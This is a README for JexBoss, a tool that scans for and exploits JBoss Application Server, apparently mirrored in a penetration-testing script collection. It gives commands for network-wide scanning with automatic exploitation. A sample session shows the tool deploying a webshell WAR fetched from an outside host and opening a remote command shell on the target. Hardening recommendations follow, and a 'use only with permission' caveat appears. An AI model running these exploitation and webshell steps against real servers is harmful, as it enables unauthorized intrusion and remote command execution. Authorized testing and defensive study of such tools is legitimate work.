github
/
PenetrationTestingScripts
mirror of https://github.com/ym2011/PenetrationTestingScripts
1
0
Fork 0
Code Issues Projects Releases Wiki Activity
PenetrationTestingScripts/Jboss_Verify_EXploitation/README.md

251 lines
7.3 KiB
Markdown
Raw Blame History

JexBoss - Jboss verify and EXploitation Tool
=======
JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server.
Requirements
----
* Python >= 2.7.x
* [urllib3](https://pypi.python.org/pypi/urllib3)
* [ipaddress](https://pypi.python.org/pypi/ipaddress)
Installation
----
To install the latest version of JexBoss, please use the following commands:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
OR:
Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
If you are using CentOS with Python 2.6, please install Python2.7.
Installation example of the Python 2.7 on CentOS using Collections Software scl:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Features
----
The tool and exploits were developed and tested for versions 3, 4, 5 and 6 of the JBoss Application Server.
The exploitation vectors are:
* /admin-console [ NEW ]
- tested and working in JBoss versions 5 and 6
* /jmx-console
- tested and working in JBoss versions 4, 5 and 6
* /web-console/Invoker
- tested and working in JBoss versions 4
* /invoker/JMXInvokerServlet
- tested and working in JBoss versions 4 and 5
Screenshots
----
* Standalone mode:
```
$ python jexboss.py -host 192.168.0.114:8080
```
![alt tag](https://github.com/joaomatosf/jexboss/raw/master/screenshots/standalone_mode.png)
* Usage modes:
```
$ python jexboss.py -h
```
![alt tag](https://github.com/joaomatosf/jexboss/raw/master/screenshots/help_usage.png)
* Network scan mode:
```
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt
```
![alt tag](https://github.com/joaomatosf/jexboss/raw/master/screenshots/network_scan_mode.png)
* Network scan with auto-exploit mode:
```
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt
```
![alt tag](https://github.com/joaomatosf/jexboss/raw/master/screenshots/scan_with_auto_exploit_mode.png)
* Results and recommendations:
![alt tag](https://github.com/joaomatosf/jexboss/raw/master/screenshots/results_and_recommendations.png)
Usage example
----
* Check the file "demo.png"
* Auto scan mode:
```
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
```
* File scan mode:
```
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
```
* More Options:
```
$ python jexboss.py -h
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
--auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE
PERMISSION!!!)
--disable-check-updates, -D
Disable the check for updates performed by JSP
Webshell at:
http://webshell.jexboss.net/jsp_version.txt
-mode {auto-scan,file-scan,standalone}
Operation mode
Standalone mode:
-host HOST Host address to be checked (eg.
http://192.168.0.10:8080)
Auto scan mode:
-network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8)
-ports PORTS List of ports separated by commas to be checked for
each host (eg. 8080,8443,8888,80,443)
-results FILENAME File name to store the auto scan results
File scan mode:
-file FILENAME_HOSTS Filename with host list to be scanned (one host per
line)
-out FILENAME_RESULTS
File name to store the file scan results
```
* Standalone mode:
```
* Via git:
$ git clone https://github.com/joaomatosf/jexboss.git
$ cd jexboss
$ python jexboss.py -host https://site-teste.com
* Or via download:
$ wget https://github.com/joaomatosf/jexboss/archive/master.zip
$ unzip master.zip
$ cd jexboss-master
$ python jexboss.py -host https://site-teste.com
* --- JexBoss: Jboss verify and EXploitation Tool --- *
| |
| @author: João Filho Matos Figueiredo |
| @contact: joaomatosf@gmail.com |
| |
| @update: https://github.com/joaomatosf/jexboss |
#______________________________________________________#
** Checking Host: https://site-teste.com **
* Checking admin-console: [ EXPOSED ]
* Checking web-console: [ OK ]
* Checking jmx-console: [ VULNERABLE ]
* Checking JMXInvokerServlet: [ VULNERABLE ]
* Do you want to try to run an automated exploitation via "jmx-console" ?
This operation will provide a simple command shell to execute commands on the server..
Continue only if you have permission!
yes/NO ? yes
* Sending exploit code to https://site-teste.com. Wait...
* Info: This exploit will force the server to deploy the webshell
available on: http://www.joaomatosf.com/rnp/jbossass.war
* Successfully deployed code! Starting command shell, wait...
* - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - *
* https://site-teste.com:
Linux seglinux 3.18.4-1.el6.elrepo.x86_64 #1 SMP Wed Jan 28 13:28:52 EST 2015 x86_64 x86_64 x86_64 GNU/Linux
CentOS release 6.5 (Final)
uid=509(jboss) gid=509(jboss) grupos=509(jboss) context=system_u:system_r:initrc_t:s0
[Type commands or "exit" to finish]
Shell> pwd
/usr/jboss-6.1.0.Final/bin
[Type commands or "exit" to finish]
Shell> hostname
fwgw
[Type commands or "exit" to finish]
Shell> ls -all /home
total 16
drwxr-xr-x. 4 root root 4096 Jan 26 2015 .
dr-xr-xr-x. 23 root root 4096 Mar 31 04:51 ..
-rwxrwxrwx. 1 root root 0 Jan 26 2015 file1
-rw-r-----. 1 root root 0 Jan 26 2015 file2
-rw-rw-r--. 1 root root 0 Jan 26 2015 file3
drwx------. 2 joao joao 4096 Jan 26 2015 joao
drwx------. 2 maria maria 4096 Jan 26 2015 maria
[Type commands or "exit" to finish]
Shell>exit
Results: potentially compromised server!
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*
Recommendations:
- Remove web consoles and services that are not used, eg:
$ rm web-console.war
$ rm http-invoker.sar
$ rm jmx-console.war
$ rm jmx-invoker-adaptor-server.sar
$ rm admin-console.war
- Use a reverse proxy (eg. nginx, apache, F5)
- Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)
- Search vestiges of exploitation within the directories "deploy" and "management".
References:
[1] - https://developer.jboss.org/wiki/SecureTheJmxConsole
[2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf
- If possible, discard this server!
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*
* Info: review, suggestions, updates, etc:
https://github.com/joaomatosf/jexboss
* DONATE: Please consider making a donation to help improve this tool,
including research to new versions of JBoss and zero days.
* Paypal: joaomatosf@gmail.com
* Bitcoin Address: 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C
* URI: bitcoin:14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C?label=jexboss
```
Questions, problems, suggestions and etc:
----
* joaomatosf@gmail.com
Reference in New Issue View Git Blame Copy Permalink